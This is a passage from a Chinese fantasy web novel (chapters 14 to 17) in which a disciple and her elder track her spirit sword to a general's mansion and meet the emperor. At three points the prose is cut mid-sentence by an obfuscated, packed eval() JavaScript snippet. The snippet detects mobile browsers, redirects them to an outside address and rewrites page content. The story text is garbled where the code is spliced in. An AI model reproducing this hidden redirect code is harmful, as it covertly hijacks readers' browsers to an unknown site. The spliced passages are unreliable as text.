问玉都做好了要和她吵架的打算,见她这么爽快地认错,还有几分不习惯。 问玉直接切入正题,“你在这里试一试,看能不能感应到断龙的位置。” 商怀笙闭上眼,“我能感觉到它就在附近。” “还不够,要准确地知道它在什么地方。” 商怀笙双眉紧蹙,脸上的五官都皱成一团,尝试在周围杂乱的气中找到断龙的痕迹,可不管怎么努力,都抓不住那道烟雾般的痕迹。 “我、我不行。”商怀笙睁开眼,有一丝挫败,“我和断龙还没有默契到那种程度。” 问玉挑眉,“前几日还是一副天不怕地不怕的样子,现在又说自己不行?把手伸过来。” 和上次一样,他把手搭上商怀笙手腕,商怀笙感觉有一股陌生的真气流入自己的身体,修士对旁人的真气总会排斥,秦湫与她如此亲近,两气交融时她都会有几分不适。 但问玉不会,暖暖的,像春风将她包裹起来,把身体内杂乱的气息全部席卷清空,让人感到十分的平静。 “断龙是你的剑,不光是它选择了你,也是你选择了它,你们相互选择,在它的身上,也有你的痕迹。你再试一试。” 在他轻柔的引导中,商怀笙的注意力更加集中,在各种不同的气中,她找到那一缕属于断龙的痕迹,黑与红交织,凝成一道细线,指向皇宫脚下的某处府邸。 昏暗的烛光中,有一身影背光而立,她像是察觉到什么,猛地转过身来,目光锋利,满脸肃杀之气,那张脸,与商怀笙有五分相似。 14. 第十四章 随着那人的转身,画面戛然而止,商怀笙睁开眼,满脸错愕。 商怀笙:“我看到……” “是不是和你很像?”问玉好像早就知晓,只等商怀笙自己发觉。 商怀笙:“你也看到了?” “不。”问玉将手收回,指尖无意识地摩挲,一丝异样如蜻蜓点水在心中掠过,“今日见那将军和你有几分相似,我便猜测断龙或许在她身边。” “你也见到那将军了?你也在齐物汇?你是去监视我们的吗?”商怀笙直直地盯着他。 “……这些都不重要。” 问玉侧目,避开她闪着亮光的双眸,“你年岁不大,世上可还有兄弟姐妹?” 商怀笙今日并没看清那位将军的样貌,只知道是个女子,之前在客栈听说过那位将军的年岁,她家中是还有两个妹妹,六妹的年纪也差不多能对得上。 “我家中许多兄弟姐妹,我离开后有没有弟妹再降生就不知道了。” 提起家人,商怀笙的反应并不热情,离开村庄的时候年纪很小,后来也从没再见过亲人,在三王爷身边待过几年,幼时记忆也被冲淡了。 问玉看出她的冷淡,道:“许是她和你有些血缘关系,断龙来到人间后便来寻她。” 商怀笙不解,“它为何不来寻我,想另外找个主人?” “……”问玉抿唇,无语地看着她,“你就没有想过断龙为什么会伤人,又为什么会在伤人之后离开四水阁?” 商怀笙沉默,低头思索许久,道:“为什么啊?” 问玉板着脸,“宋良白真的把你教的很差。” 商怀笙刚露出一点不服气的表情,问玉接着说:“我问过宋良白,自你将断龙唤醒以来,它从没失控过。这次伤人,或许是人为的。” “金田惹它生气,当然是人为的。” “你闭嘴。” “哦。” 问玉道:“天下修士皆有自己的灵器,虽然没有品阶之分,但是修为深厚的人一眼就能看出灵器的材质和工艺分辨出强弱好坏,上等灵器千金难求,而就算是天工阁万宝炉锻造出的上上品,都不敢称为是‘神器’。” “只有真正出自神仙之手,经历过岁月锤炼的,才是神器。现在神迹罕见,上千年没有过飞升之人,在世的神器也是少之又少,再次认主的神器更是……几乎没有。” “你现在知道断龙意味着什么了吧?” “嗯。”商怀笙点点头,说,“断龙是个宝贝。” 问玉欣慰地点头,心道这人也不是完全无可救药,结果下一秒又听见她说,“那断龙能卖多少钱?” 问玉嘴角微微抽搐,咬牙切齿,“这个你回去问宋良白吧!” 问玉负气背身,商怀笙转到他面前,又问:“道长跟我说这些,是想说什么?我脑子笨,还请道长直言,不要拐弯抹角。” “你确实笨。”问玉声音中有几分无奈,不知道商怀笙是真的不懂,还是故意装成这样来气他,道,“断龙这等神器,当然有无数人想要争抢,你以为当年常春阁是随随便便就能留下断龙的吗?你知道有多少人为此丧命吗?” 可她每日带着断龙在身边,也不见其他弟子眼红。 商怀笙打量着问玉凝重的脸色,没有把心里话说出来。 问玉道:“所以我怀疑,这次断龙伤人并不是偶然,或是是有人想借此达到什么目的。” “什么目的?” “这个尚未可知。” 商怀笙见识浅,没经历过仙门斗争的时代,只知道三山宗与四水阁常为和神山发现的宝贝大打出手,代入一下也能体会到问玉的意思。 “你的意思是说,三山宗的人想陷害我,夺走断龙?” “我没说一定是三山宗的人。” 商怀笙:“你是三山宗的人,当然会帮着他们说话。” 问玉反问:“那你就能确定四水阁的人全都是良善之人吗?” “那肯定……”商怀笙一顿,声音小了几分,“至少我身边的人都是。” 她虽与丰宝等人交好,但宗门内看不惯她的也大有人在。 问玉见她这幅模样,语气也缓和许多,“我告诉你这些不是让你去猜疑,只是希望你能警觉,不要把这当成是一件无关紧要的小事。” 商怀笙敛眸,片刻后朝他作揖礼,“多谢道长指点。” “行了,眼下将断龙找回来才是要事。” “我们要潜入将军府邸直接把断龙带回来吗,我刚才试了试,它并不回应我。” 既然已经知晓了断龙的所在,只需将它带回来便可。 “不能闹得太大引起骚乱,日曜城中不止我们,还有其他门派的人出没,被他们发现断龙存在,恐怕引起纠纷。我已经找人帮我去打探消息,等他回来再议。” “你在这里还有认识的人?” 问玉道,“准确来说,是妖。” 商怀笙惊讶,“你作为修道之人,居然和妖厮混?” 问玉蹙眉,对‘厮混’二字有几分反感,“人分好人恶人,妖自然也有好妖坏妖,不生事不伤人,难道还要打着正义的名号去伤害安分守己的妖族吗?” “你说得对。”商怀笙点点头,“但与妖族勾结,传出去似乎有些不妥……诶,反正损的也是三山宗名声。” 和她无关。 问玉道:“我也不喜欢勾结二字,只是付他佣金,让他帮我做些事情而已。” 商怀笙点头:“原来你是有钱人。” 问玉失笑:“和你说话真是有些费力,宋良白那个急脾气,把你养这么大不容易。” “我小时候师父也常教训我。” “看不出来。” 只不过她每次挨骂都会还嘴,挨打都会还手,她打人又疼,后来宋良白就尽量只骂她不动手了。 问玉唇角挂着一抹浅笑,被月光衬得有几分温柔,商怀笙不自觉地盯着他,呼吸变得轻缓。 好看,真好看。 这大概就是师兄说的,月色虽美,不及美人一笑。 商怀笙看得入神,问玉轻咳一声,声音轻柔,“看什么看,再看把你眼珠子挖出来。” 商怀笙瞬间清醒,抬眸对上问玉含笑的眼眸,不敢置信这张脸居然会说出那种话,“谁看你了?自恋。” “对长辈不敬,回去抄写门规二十遍。”问玉说完,扬长而去。 “你又不是我们门派的!”商怀笙冲着他的背影喊道。 这也是师兄说的,蛇蝎美人。 * 问玉派去的妖在次日便带回 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“商叙将军是在十一年前被带回皇宫的,小小年纪便开始上战场,立下赫赫战功,陛下曾经要收她为义女,但不知道为什么没有颁布旨意……姑娘,请您也不要一直偷偷看我!” 他一激动,头顶冒出两只黑黝黝的猫耳朵,商怀笙顿时笑出来:原来是只猫妖! 猫妖在她的凝视下红了脸,用手拍一拍脑袋,把耳朵藏了起来。 问玉瞥了商怀笙一眼,道:“别笑了,认真点。” “哦。”商怀笙移开目光,秦湫递来一盘糕点转移她的注意力。 猫妖继续道:“将军她平日都居住在云月都,回日曜城的时候屈指可数,陛下在皇宫附近专门给她建造了自己的宅子,她每次都住在那里,宅子伺候的下人不多,平时也不许外人进入。” “但是,将军这两年一直被恶疾困扰,宫中御医都无法医治,这些年陛下一直广纳名医为将军诊治。” “是什么病?”商怀笙问。 猫妖侧目,看到商怀笙一脸认真,不复刚才轻浮模样,怔愣片刻,道:“我不清楚具体症状,但听将军府中的狸花猫说,将军时常夜半惊醒,痛苦哭嚎,严重之时有梦游症状,还伤过府中下人,所以现在将军身边没有照料之人。” 元妄说:“她病的很严重?那为何还能镇守云月都?” 猫妖摇摇头,“仙人有所不知,将军她战力超群,以一敌百,而且军中盛传她有神灵庇佑,乱军之中身中百箭都能捡回一条命来。” “那的确是有神灵庇佑。”秦湫说着,掏出手帕递给商怀笙,“擦擦手。” 问玉将师姐妹二人的小动作看在眼底,听闻惠提起,商怀笙现在这性格少不了秦湫与元妄的纵容溺爱。 闻惠:“既然断龙在将军府,那我们装成江湖游医混进去不就行了?” “想要为将军医治,要先去拜见陛下,陛下准予方可。”猫妖道。 闻惠:“那就先去见皇帝。” 问玉:“你可有什么法子?” 猫妖擦了擦额上冷汗,“我倒是认识医馆的人可以引荐,只是……” 他看向商怀笙,“这位姑娘也要去吗?” 他和将军没见过几次面,都能看出来商怀笙和商叙将军长得像,更别说熟悉商叙将军的其他人了。 “去。”问玉已经做好决定,“我和她同去。” 15. 第十五章 商怀笙对问玉和她同去这件事很不满意。 虽然在祈星台上她对问玉有了那么一点点的改观,但她还是不想和问玉过分亲近! “为什么我们一起去,我不能和师姐一起去吗?”商怀笙朝秦湫身上靠了靠,“和师兄一起也可以。” 闻惠不满:“只让你们的人去,万一出了什么乱子怎么办?” 商怀笙:“我和你一起也行啊。” 闻惠:“你……” “去的人太多容易引起怀疑,你是剑主,你不去谁去?” 问玉知道商怀笙不想和他一起,他还以为祈星台后商怀笙已经有所转变,没想到还是这么倔强。 商怀笙撇嘴:“可是——” “怀笙,听师叔的吧,我和你师兄会在外面守着。” “……好吧。” 商怀笙不情不愿地答应下来。 他们敲定了人选,便从茶馆离开,商怀笙闷闷不乐,元妄便要带她去花鸟市场玩一玩。 三人并肩离开,闻惠望着她们的背影,道:“商怀笙向来叛逆,但是很听秦湫的话。” 问玉也发觉这一点,道:“秦湫对她太过溺爱。” “商怀笙自上山以来便是秦湫在照料,她刚来的时候比现在更难控制,像头野兽一样,四处伤人,秦湫甚至被她折断过手腕。” 现在二人和睦得如同亲姐妹,甚至母女一般,倒是看不出来还有这样的从前。 说起这事儿,闻惠生出几分抱怨,“师叔,商怀笙纵容断龙伤人,就真的一点惩罚都没有吗?” 问玉端起茶盏,轻抿一口,“这些事情,回去再议。” * 商怀笙是极不愿意和问玉同往,除了不想和他接触之外,还有另一层原因,她怕李昱辰会认出她来。 已经过去十几个年头,她几乎已经淡忘李昱辰的模样,但偶尔梦见曾在李昱辰身边那些年,商怀笙还是会在梦中惊醒。 她是李昱辰亲手锻造出来的刀,从一个懵懂无知的渔村孩童变成以血肉之躯摧毁千军万马的战斗兵器,这其间所受的锤炼,并不是简单几句话就能概括的。 这些事连宋良白和元妄都不曾知晓,只有自幼陪在她身边的秦湫,在她夜半梦魇的呓语中窥知一二。 商怀笙对李昱辰的感情复杂,他抚养自己长大,给自己名字,带她见识过许多她不曾见过的风景,也步步将她带入万恶不赦的深渊。 从前年少不懂事,后来读书明理,梦回战场火海,商怀笙都想下山去杀了李昱辰。 可她又不得不承认,李昱辰是个好皇帝,他踩着那么多人的尸骨,将乱世变盛世,这不是普通人能做到的,至少她是不能。 商怀笙不想见李昱辰,怕克制不住自己的情绪,更不想跟问玉一起去见他,怕他看出端倪,发觉她的阴暗思想,去宋良白面前告状。 思索许久,商怀笙想出一条良计:她提前把断龙取回来,不就不用去见李昱辰了吗! 凭她的本事,还潜不进一个小小的将军府? 入夜,圆月当空,同房的秦湫已经熟睡,商怀笙悄悄起来,从窗户翻了出去,直奔将军府。 既然断龙不回应她的召唤,她就亲自去把它带回来。 商怀笙信心满满,结果刚到府墙外便栽了个大跟头——这将军府外居然有结界守护,将她抵挡在外! 李昱辰和修道之人有往来,商怀笙是知道的。 日曜城东边为临海,海上有一座名为翡岛,以生产翡翠闻名,岛上便有一门派名为潮海阁,与庆州皇室关系亲密,常参与日曜城大型祭祀事宜。 看来那猫妖所言不虚,李昱辰十分重视商叙,特意在她府邸外设下结界,护她周全。 既然用法术进不去,商怀笙就开始尝试最简单的方法:爬墙。 夜色如墨,方才明亮的月光已被浓云遮盖,将军府的高墙看上去密不透风,商怀笙扫视着墙头高度,轻轻一跃,双手抓住墙沿,跃上墙头。 脚下的瓦片有一丝松动,商怀笙暗道一声不好,急忙飞身跳到旁边的树上,只听“咔擦”一声,瓦片碎裂,掉入墙内,惊起树上几只飞鸟。 “谁在那里?!” 院中有人轻呼一声,随即响起脚步声,听上去似乎有七八人,伴随着火光一同朝着商怀笙的方向过来。 不是说没有什么下人吗! 隐匿符,隐匿符……那个咒语怎么念的来着…… 商怀笙手忙脚乱,大脑一片空白,眼看火光逼近,忽的一条胳膊圈住她的腰,眼前场景一转,商怀笙已经出了将军府,来到一条小巷。 浓云散去,月光再现,照得问玉那张略带愠色的脸美丽动人。 “大半夜的不睡觉,跑来这里做什么!”他低声质问,脸色微愠。 商怀笙自是心虚,“我想试试能不能把断龙带回来。” 问玉:“我早告诉过你,城中不止我们几个修士,潮海阁在此常驻,太虚殿的人也有出没,你这样贸然行事,万一暴露,引起后患,又该如何?” “我……我没想过。”明明有法术却使不出来,眼看着断龙在眼前却带不走,商怀笙实在憋屈,“我只是想拿回自己的东西。” 问玉深吸一口气,“这是在人间,要遵循人间的规矩,你这样翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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问玉无语地瞥了她一眼,“你脑子里只有这么点东西吗?你呢,偷溜出来又是为了什么?” “……” 商怀笙哑言,她不善撒谎,便干脆沉默,紧紧抿着唇,又是一副不肯开口的死犟模样。 问玉无奈,摆手道:“罢了,回去。” 商怀笙又朝着将军府的方向看了一眼,那辆马车停在小巷,车前的宫灯亮着微光,在幽长寂静的巷口,像是马上要被黑夜吞噬。 16. 第十六章 马车上下来的男人进了内院,一束着高马尾的女子将他引到商叙房前,英气的脸上透着几分焦躁。 “大人,您可算来了,将军下午从皇宫回来便陷入昏迷,高热不退。” 陆雪青问:“她在殿上待了多久?” “约莫半个时辰,陛下与将军单独见面,我与春月不能陪同。” 陆雪青了解情况,点点头,“你去将绳子取来。” 冬星一愣,面露犹豫之色,“大人,又要扎针了吗?将军她说过,不准你随意为她施针。” “眼下还有旁的办法吗?你想让你们家将军活活烧死吗?” 陆雪青推开门,径直入内,与冬星长得一模一样的女子正坐在商叙床前替她擦汗,双眼红肿,一看便知哭了许久。 “大人。”春月像是看到了救星,起身行礼,很快又坐了下去,“大人,请您一定救救我们家将军。” “别哭了,退到一旁,帮我按住她。” 话语间,冬星已经将绳子取来,那麻绳足有手腕粗细,她与春月一人一头,牢牢地将商叙捆起来,陆雪青打开随身药箱,拿出针包,粗细长短不一的数十根银针静静躺着。 他深吸一口气,取出其中最长的一根,冬星按着商叙的肩膀,低声道:“大人,您春日才病过一场,还没好利索。” “你们家将军都快死了,还说这些。” 说着,陆雪青将长针刺入商叙手腕,本来双目紧闭的人瞬间睁大双眼,眼底透红,剧烈挣扎起来。 “按住她!” 春月与冬星一上一下,死死抱住商叙的手脚,她们都是跟着商叙久经沙场之人,想要稳住她却也十分吃力,商叙像是打挺的鲤鱼,将床板拍出重重的声响。 陆雪青憋着一口气,迅速封住她身上的穴位,把人扎的像刺猬一般,她这才缓缓安静下来,陆雪青出了一身的汗,转头咳出鲜血。 他扭头以长袖作掩,出门去清理后再回来,商叙的烧已然退了,人也悠悠转醒。 陆雪青收了她身上的银针,抬眸对上商叙的目光,她眼里没有感激,反而是淡淡的责怪。 她语气冰冷:“你是不想活了吗?” 陆雪青拔高音调:“我看你才是想死的那个!” 两人剑拔弩张,春月忙出来打圆场,“将军,陆大人费了好一番功夫才让您退了烧。” 商叙闭上双眼,“我没说需要他救。” 她这般不知感恩,陆雪青也没生气,隔着半米的距离坐在她床边,静静地望着她的脸,眼睛,嘴唇,发出一声轻叹。 “你是你姐姐在世间唯一的亲人,若连你也走了,等她回来,我该如何向她解释?” 商叙蹙眉,语调冷硬,“她不会回来了。修道之人不会再步入红尘。” 陆雪青眼底划过一丝落寞,“或许呢,潮海阁那些人不也经常出入皇宫?” “那些人都几十岁几百岁了,你瞧他们不还是年轻时的模样?就算我姐姐会回来,你已到迟暮之年,她青春依旧,你……” “将军!您不要说了。”冬星出言打断她。 商叙转头望去,陆雪青已经收拾东西准备离开,眼角闪烁着莹莹光芒。 “时候不早了,你歇息吧。太子殿下说想见你,你得空去瞧瞧他,免得他又偷溜出来惹陛下责骂。” 商叙没有回答,春月送陆雪青出门,冬星在屋内守着,她坐在商叙床前,脸上泪痕未干,眼中满满的担忧。 “将军……”她开口有些哽咽,“你感觉如何了?” “有些困。”商叙别过脸,不想看到她的眼泪,“你去歇着吧,我不难受了,我想睡会儿。” 冬星应了声好,“将军,我就在西厢房,你要是有任何不适,及时叫我。” 商叙点点头,闭上眼睛,很快便沉沉睡去。 * 皇城·请言府 腐臭的气息扑面而来,凌盛眉头微蹙,宽大的白袍袖口掩住口鼻,眼神中透出一丝嫌恶。 三具被开膛破肚的黄牛尸体整齐摆放在地上,干涸的暗褐色血水浸透土地,内脏坠在可怖的伤口外侧,被撕咬得支离破碎,伤口边缘参差不齐,不像是利刃所为。 凌康辰忍着恶心上前察看,拨开松垮的牛皮,发现黄牛肚中的血呈现深黑色,在月光下泛着莹莹绿光。 “少主,像是妖物所为。”凌康辰道。 “这么显而易见的事情,需要你来说?”凌盛正眼都没瞧他一下,往后退了两步,看向身旁惶恐不安的请言府府尹,“这种事情发生多久了?” “也就是这个月的事情,最开始只是些小鸡小鸭,还以为闹黄鼠狼了,结果前日有三户不同村庄的人来报案说自家耕地的牛没了,府兵一查,在万家巷发现了尸体,怕引起骚动,便连夜将尸体都运了回来……” 万家巷人口密集,当时他们只想着不要让事情闹得太大,结果把尸体搬回来才发现是烫手山芋,这几日请言府里夜夜响起“哞哞”的声音,又诙谐又惊悚,像是这些黄牛的冤魂在嚎叫。 他们让府里八字最硬的壮汉来值夜,他们偏说晚上看到有牛在吃草,开膛破肚体态狰狞,见人就冲撞,吓得好几个人发了高烧,凶手也迟迟没有抓到,他们实在顶不住了,才上报陛下。 府尹不知道二位是哪里的修士,但见两人从天而降,便如同见了救星,倒豆子似的把这些天发生的奇事都说了出来。 凌盛闻言,不屑冷笑,“装神弄鬼,请言府是大庆英才荟萃之地,连你们都自乱阵脚,让百姓如何心安?” 府尹脸上露出心虚的神色,“公子所言,卑职惭愧,卑职一介凡人,第一次见到这种异事,难免惶恐。” “你这么害怕还能来值夜,也算有担当。” 随是夸奖,语气却轻蔑,凌盛从袖中抽出一张黄符,口中念念有词,黄符刹那间窜起一簇火苗,凌盛将燃烧的符纸扔到黄牛尸体之上,瞬间燃起熊熊烈火。 “公子不可,这是证物——” 府尹来不及阻止,眼睁睁看着火光燃起又熄灭,古怪的是燃烧后的尸体居然没有留下牛骨,只剩一摊黑色的灰烬。 “它们已被妖气侵蚀,你继续放着,难保不成妖物。”凌盛拍拍手,确认身上没沾到灰,才舒展眉心,“既然你们主子求到了我父亲那里,我自会帮你解决此事。” 他那高高在上的语气让府尹略有不适,但既是圣上请来的人,他也见识过对方的本事,自当尊敬,府尹深鞠一躬,凌盛瞥他一眼,带凌康辰御剑离去。 * 商怀笙被问玉从窗口扔进了客栈,在地板上骨碌碌滚了两圈,差点磕到床角。 她在心底暗骂几声,解了外衣钻回床上,秦湫还在熟睡,她动作很轻没有发出声响,躺下之后却辗转难眠。 她还没来得及进去便被拦下,将军府外的结界是谁设的,商叙也和修道之人有来往? 她想起从后院进入将军府的男子,虽然只是远望一眼,却也能看出那人模样姣好,皮肤白皙,是她的妹夫? 还有凌枫院的人,他们出现在这里,让商怀笙隐隐有些不安。 还有……问玉。 原以为给他灌下忘忧果,两人便成了陌路,可总是这样阴差阳错地搅和在一起,她没能将断龙带回来,那肯定要去见李昱辰了。 不想见不想见不想见! 商怀笙长出一口气,听见对面响起翻身的声音,担心吵着秦湫,她又安静下来。 她心里还有许多事想要,但困意袭来,商怀笙无声地打了个哈欠,瞬间失去意识,陷入沉睡。 翌日清晨,商怀笙在睡梦中感觉脸上凉飕飕的,睁眼便看到秦湫微皱着眉心,手上拿着什么东西在她脸上比划,她心里一惊,以为问玉那老东西去告状了,一个鲤鱼打挺便坐起来。 “师姐,我……” “醒了?时辰还早,先睡着。” 商怀笙摸摸脸颊,一手凉滑,闻起来有丝丝香甜,“这是什么?” “再生泉水,易容。”秦湫把她身子按平,“听闻惠说,那将军与你长得实在相似,怕他们见了你起疑。” 脸上的水分很快蒸发,商怀笙感觉脸颊有些干涩,往镜中一照,她已经换了副模样,桃花眼变成圆圆的杏眼,眉毛也变得又浓又密,表情有几分呆愣。 对着镜中的自己沉默片刻,商怀笙道:“师姐,我不想去,我不想见李昱辰。” 秦湫道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941444|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既已拜入师门,从前的种种便与你再无干系,你只当他是个陌生人便是。” 商怀笙垂下眼眸,“我也不想和问玉一起去,为什么不是你或者师兄陪着我?” 秦湫绕到她背后,握住她双手,“你刚来的时候那么小,我一只手就可以把你的双拳都包住,现在竟比我要高出半头了。怀笙,你已经长大了,跟着师叔你能学到很多。” 商怀笙嗯了一声,心中仍旧排斥与问玉相处,若是没有囚龙谷中发生的种种,她或许会乐得与这个能教她如何感应断龙的长辈多聊几句,可她毕竟做过那样的事情,被宗中其他人知晓,定会觉得她大逆不道,欺师灭祖。 正忧愁之际,外头响起敲门声,“准备好了没?师叔在等着出发呢。” 闻惠前来催促,秦湫对镜检查了一下商怀笙的样貌,点点头夸了声“我们怀笙这样也漂亮”,便将商怀笙推了出去。 猫妖和问玉已经等在楼下,见她下来,愣了片刻才认出来。 猫妖道:“姑娘这样定不会让人起疑了。” 问玉扫她一眼,眼中多了几分戏谑,“像只浓眉小狗。” 听罢,商怀笙蹙眉,张牙舞爪,“你才像狗!” 问玉笑意更深,问猫妖:“那些小狗追你们的时候,是不是也这副模样?” 猫妖尴尬一笑,夹在二人中间擦擦额上虚汗,“我已经同太医院的好友说好了,今日便将你们举荐给将军,不过咱们得先去皇宫见过陛下,马车已经备好了,二位,请——” 商怀笙瞪了问玉一眼,也不顾长幼有序,先他一步出门,问玉心情甚好,没骂她不懂礼数,缓步跟了上去。 去往皇宫的路上,商怀笙才知道那猫妖是医馆的大夫,名叫许鲜。 商怀笙笑道:“许仙?你是听了白娘子的故事,给自己取了这个名字?” 许鲜摆手,“不不不,是新鲜的仙,我化形之前被一户姓许的人家收养,家主常给我钓鲜鱼,所以我叫许鲜。” “原来如此。”商怀笙见过他的耳朵,黑黝黝的,想他原身也是只黑猫,但变成人形却是个白净书生,好奇问道,“日曜城中有许多猫妖吗?” 许鲜道:“日曜城中虽多猫族,但能化形的只有我一个,说起来还与商将军有几分渊源。” 商怀笙:“我妹妹?” 许鲜俊脸微红,“是您。那年大典,仙人降临,将您引入仙途,我就在祈星台附近,仙人拂尘上一缕兽毛落在我头顶,侥幸化为人形,之后便潜心修习,拜师学医,开了医馆。” 商怀笙“哦”了一声,“那是我师父。” 宋良白其实不大爱用拂尘,也并非白发,只是那日为了在凡人面前装出仙风道骨的模样,才特意那样装扮。 许鲜回忆起当时的场景,眼中闪烁着虔诚的光,“大庆百姓觉得那是神迹降临,幸得明君,必将庇佑大庆千秋万载,海晏河清。” 商怀笙笑笑,宋良白弄这一遭,反倒便宜了李昱辰。 许鲜将目光转向商怀笙,神情中带着几分羞涩,“商将军,修道之路是否真如传言那般需得历经艰难险阻,妖怪也可以修道吗?” 商怀笙摸了下脸颊,其实她对这些事情也不了解,想她进入四水阁后也没正儿八经修炼过,逃课偷懒,架倒是打过不少。 正尴尬得不知道该说什么时,问玉开口:“自然也可以。英雄不问出身,修道也是。各宗门都有弟子选拔,你若有心,可以试试。” 许鲜眼中冒出期许,“太虚殿也可以吗?听闻那是当今第一仙门。” 问玉微顿,道:“可以,不过太虚殿对弟子的要求更加严格。” 许鲜问道:“不知二位道长师出何门?” 商怀笙看向问玉,正欲开口,却听他道:“常春阁。” 许鲜愣了愣,思索片刻,似乎没想起来这是哪里的门派,硬着头皮道:“久仰盛名。” 我才不是,我是四水阁的! 这话在商怀笙舌头上滚了几遍,瞥见问玉淡然的神色,又将话咽了下去。 四水阁和三山宗确实都曾属于常春阁,他说的也没错。 要是许鲜再问起为何二人不是同一个门派,还要多费口舌解释,麻烦。 17. 第十七章 皇宫位于日曜山顶,设有祈星台和皇家园林,宫中建筑以金色与红色为主,富丽堂皇,千道台阶都点缀着金漆,抬头仰望才能看到皇宫,位于山巅,直指青空。 他们的马车刚停下来,便有几个持剑宫人来接应,将商怀笙和问玉团团围住,仔仔细细检查一番,确定他们身上没有利器才准许他们踏上长阶。 脚下的金漆绘着各种各样的图案,小鱼小花小鸟,还有些不知名的符文,商怀笙步步向上爬,想着那群大臣每日上朝都要爬这么高的阶梯,真是遭了老罪。 问玉的速度比她略快个两三阶,腰背挺得笔直,似乎根本感觉不到累,商怀笙东张西望,每个一段路便有侍卫站岗,一个个都面色严肃,没有半点生气。 进宫门前还有一次搜身,宫墙高耸,墙色青黑,像是浸透了许多人的血泪,砖缝都身处阴冷的湿气,李昱辰登基后曾想修整宫墙,可是国库空虚,便一直搁置。 前面引路的宫女走得飞快,双脚隐在裙摆中,小碎步看起来像是在地面上飘,商怀笙不免想起她第一次来到这里的场景,马蹄溅起污血,染红了她的裙摆。 商怀笙深吸一口气,快走两步,与问玉并肩,问玉侧目瞥她一眼,用只有二人能听到的声音道:“怕了?” “我有什么好怕的。”商怀笙嘴硬道。 “宫中死过的人最多,阴气也重,自咱们进门,墙上便有无数双眼睛盯着呢。”问玉扬扬下巴,示意她往四周看。 商怀笙把头低下,“我看不见。” “你道行浅,得开天眼。” “我才没有那么无聊。” 耳边响起一声低笑,商怀笙微微眯着眼,不敢抬头,怕看到曾经死在她手上的人。 不知走了多久,日头越来越高,四周的高阁殿宇也多了起来,他们被引到一处宫殿前,那宫殿规模不大,从外面看上去比周围的殿宇矮上一截,里面也空荡荡的,四个硕大的柱子,两侧挂着帘幕,正对门口的地方放着两扇屏风,缝隙间约莫能瞧见华丽的龙椅。 “请二位道长在此等候。” 宫女说完,一阵风似的飘走了。 商怀笙四处观望,只听一声类似于钟响的声音,帘后忽的走出两队身着华服的宫女,整齐地站在了帘幕之前,屏风之后也传来响动。 “皇上驾到——” 两队人齐齐下跪,商怀笙正犹豫着要不要行礼,被问玉拉住胳膊。 “大胆,见了皇帝还不下跪——!” 大殿之上忽的传来尖利喝声,商怀笙一愣,问玉已经站在他面前,“修道之人,只拜师长。” 那尖利的声音再次响起,“大胆——” 胆字还在口中,便被人打断,一人影从屏风后闪过,走到两人眼前。 商怀笙冷不丁与他对视,心脏一沉,蓦地握紧双拳。 多年不见,李昱辰五官变化不大,但明显比从前要苍老憔悴,脸上生出许多皱纹,体态也略显佝偻,他身上也再无从前那股凌厉肃杀之气,似乎温和许多,但是举手投足间难掩帝王的威严。 “问玉道长,久仰。” 他的话听起来恭敬客气,但对二人不肯跪拜一事,还是透出微微的不满。 问玉微微颔首,“久闻陛下清明,励精图治,日曜城万象更新,百姓安居乐业,果然不同以往。” 李昱辰站在台阶之上,从上往下俯视着他们,笑道:“道长降妖除魔,匡扶正道,才是百姓之幸。” 两人你来我往地说着客套话,商怀笙听得一愣一愣的,李昱辰虚伪她是知道的,没想到问玉看起来是个直性子,这种话也能张口就来,不愧活了那么多年。 几轮下来,两人终于步入正题。 李昱辰的目光掠过商怀笙,落在问玉脸上,“听说道长是为神威将军怪症一事前来,不知道长是从何处听闻?” “我与爱徒游历至此,偶然听到坊间传闻,听闻将军身染怪病。”问玉道。 李昱辰轻叹,“实不相瞒,这些年朕广纳名医为将军医治,只是迟迟不见起色,神威将军自小养在我身边,与我情同父女,又为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941445|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我大庆征战数年,安邦定国,如今被顽疾困扰,我实在心疼。” “贫道正是感念大将军风华正茂,为社稷百姓立下犬马之劳,不忍她受病症折磨,才毛遂自荐前来相助。” 李昱辰道:“道长若能为将军根除疾病,朕必有重谢。” “不必,只是为了青州百姓。” 李昱辰眼底闪过一丝暗光,使了个眼色,便有一宫女上前来,模样俊俏,衣裳比其他宫女更繁杂华丽。 “这是朕的贴身侍女奉儿,也是自小照料将军之人,由她带你们去将军府。” 奉儿朝二人行礼,“见过二位道长。” 商怀笙打量着她,思绪又飘到从前,问玉扯了扯她衣袖,她才反应过来,转身跟上问玉步伐。 李昱辰站在原地,望着三人的背影,整张脸没入阴影中,看不出情绪。 * 刚爬上来的台阶,又要爬下去,商怀笙在心里将李昱辰骂了千万遍,他想展现与商叙君臣情深,折腾别的郎中做什么? 商怀笙本就双腿酸疼,步伐也变得缓慢,一旁的宫女奉儿瞧着娇弱,走起路来步履生风,大气都不带喘的。 商怀笙看了她半晌,开口问道:“你从小便照料商将军?” 